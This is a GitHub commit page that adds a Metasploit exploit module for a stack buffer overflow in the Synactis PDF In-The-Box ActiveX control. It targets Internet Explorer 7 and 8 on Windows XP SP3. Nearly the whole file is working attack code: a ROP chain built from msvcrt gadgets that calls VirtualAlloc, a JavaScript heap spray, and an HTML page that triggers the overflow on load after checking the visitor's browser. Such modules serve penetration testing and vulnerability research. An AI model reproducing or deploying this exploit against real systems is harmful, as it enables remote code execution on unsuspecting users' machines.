Skip to content

Commit a157e65

Browse files
author
jvazquez-r7
committed
Land rapid7#1916, @wchen-r7's exploit for Synactics PDF
2 parents 0302437 + ea2895a commit a157e65

File tree

1 file changed

+206
-0
lines changed

1 file changed

+206
-0
lines changed
Lines changed: 206 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,206 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::Remote::HttpServer::HTML
14+
include Msf::Exploit::RopDb
15+
include Msf::Exploit::Remote::BrowserAutopwn
16+
17+
autopwn_info({
18+
:ua_name => HttpClients::IE,
19+
:ua_minver => "7.0",
20+
:ua_maxver => "8.0",
21+
:javascript => true,
22+
:classid => "{C80CAF1F-C58E-11D5-A093-006097ED77E6}",
23+
:method => "ConnectToSynactis",
24+
:os_name => OperatingSystems::WINDOWS,
25+
:rank => AverageRanking
26+
})
27+
28+
def initialize(info={})
29+
super(update_info(info,
30+
'Name' => "Synactis PDF In-The-Box ConnectToSynactic Stack Buffer Overflow",
31+
'Description' => %q{
32+
This module exploits a vulnerability found in Synactis' PDF In-The-Box ActiveX
33+
component, specifically PDF_IN_1.ocx. When a long string of data is given
34+
to the ConnectToSynactis function, which is meant to be used for the ldCmdLine
35+
argument of a WinExec call, a strcpy routine can end up overwriting a TRegistry
36+
class pointer saved on the stack, and results in arbitrary code execution under the
37+
context of the user.
38+
39+
Also note that since the WinExec function is used to call the default browser,
40+
you must be aware that: 1) The default must be Internet Explorer, and 2) When the
41+
exploit runs, another browser will pop up.
42+
43+
Synactis PDF In-The-Box is also used by other software such as Logic Print 2013,
44+
which is how the vulnerability was found and publicly disclosed.
45+
},
46+
'License' => MSF_LICENSE,
47+
'Author' =>
48+
[
49+
'h1ch4m',
50+
'sinn3r' #Metasploit
51+
],
52+
'References' =>
53+
[
54+
[ 'OSVDB', '93754' ],
55+
[ 'EDB', '25835' ]
56+
],
57+
'Platform' => 'win',
58+
'Targets' =>
59+
[
60+
# Newer setups like Win + IE8: "Object doesn't support this property or method"
61+
[ 'Automatic', {} ],
62+
[
63+
'IE 7 on Windows XP SP3', {'Eax' => 0x0c0c0c0c}
64+
],
65+
[
66+
# 0x20302020 = Where the heap spray will land
67+
# 0x77c15ed5 = xchg eax,esp; rcr dword ptr [esi-75], 0c1h, pop ebp; ret 4
68+
'IE 8 on Windows XP SP3',
69+
{ 'Rop' => :msvcrt, 'Pivot' => 0x77C218D3, 'Ecx' => 0x20302024, 'Eax' => 0x20302028 }
70+
]
71+
],
72+
'Payload' =>
73+
{
74+
'BadChars' => "\x00",
75+
'StackAdjustment' => -3500
76+
},
77+
'DefaultOptions' =>
78+
{
79+
'InitialAutoRunScript' => 'migrate -f'
80+
},
81+
'Privileged' => false,
82+
'DisclosureDate' => "May 30 2013",
83+
'DefaultTarget' => 0))
84+
end
85+
86+
def get_target(agent)
87+
return target if target.name != 'Automatic'
88+
89+
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
90+
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
91+
92+
ie_name = "IE #{ie}"
93+
94+
case nt
95+
when '5.1'
96+
os_name = 'Windows XP SP3'
97+
end
98+
99+
targets.each do |t|
100+
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
101+
return t
102+
end
103+
end
104+
105+
return nil
106+
end
107+
108+
def get_payload(t, cli)
109+
code = payload.encoded
110+
111+
case t['Rop']
112+
when :msvcrt
113+
print_status("Using msvcrt ROP")
114+
align = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
115+
# Must be null-byte-free for the spray
116+
chain =
117+
[
118+
t['Pivot'],
119+
0x41414141,
120+
t['Ecx'], # To ECX
121+
0x77c1e844, # POP EBP # RETN [msvcrt.dll]
122+
0x41414141,
123+
0x77c1e844, # skip 4 bytes [msvcrt.dll]
124+
0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
125+
0xffffffff,
126+
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
127+
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
128+
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
129+
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
130+
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
131+
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
132+
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
133+
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
134+
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
135+
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
136+
0x77c3048a, # POP EDI # RETN [msvcrt.dll]
137+
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
138+
0x77c46efb, # POP ESI # RETN [msvcrt.dll]
139+
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
140+
0x77c3b860, # POP EAX # RETN [msvcrt.dll]
141+
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
142+
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
143+
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
144+
].pack("V*")
145+
146+
p = chain + align + code
147+
148+
else
149+
p = "\x0c" * 50 + code
150+
end
151+
152+
p
153+
end
154+
155+
def get_html(cli, req, target)
156+
js_p = ::Rex::Text.to_unescape(get_payload(target, cli), ::Rex::Arch.endian(target.arch))
157+
eax = "\\x" + [target['Eax']].pack("V*").unpack("H*")[0].scan(/../) * "\\x"
158+
159+
html = %Q|
160+
<html>
161+
<head>
162+
<script>
163+
#{js_property_spray}
164+
165+
function r()
166+
{
167+
var s = unescape("#{js_p}");
168+
sprayHeap({shellcode:s});
169+
170+
var p1 = '';
171+
var p2 = '';
172+
eax = "#{eax}";
173+
174+
while (p1.length < 189) p1 += "\\x0c";
175+
while (p2.length < 7000) p2 += "\\x0c";
176+
177+
var obj = document.getElementById("obj");
178+
obj.ConnectToSynactis(p1+eax+p2);
179+
}
180+
</script>
181+
</head>
182+
<body OnLoad="r();">
183+
<OBJECT classid="clsid:C80CAF1F-C58E-11D5-A093-006097ED77E6" id="obj"></OBJECT>
184+
</body>
185+
</html>
186+
|
187+
188+
html.gsub(/^\t\t/, '')
189+
end
190+
191+
def on_request_uri(cli, request)
192+
agent = request.headers['User-Agent']
193+
uri = request.uri
194+
print_status("Requesting: #{uri}")
195+
196+
target = get_target(agent)
197+
if target.nil?
198+
print_error("Browser not supported, sending 404: #{agent}")
199+
send_not_found(cli)
200+
return
201+
end
202+
203+
print_status("Target selected as: #{target.name}")
204+
send_response(cli, get_html(cli, request, target), {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
205+
end
206+
end

0 commit comments

Comments
 (0)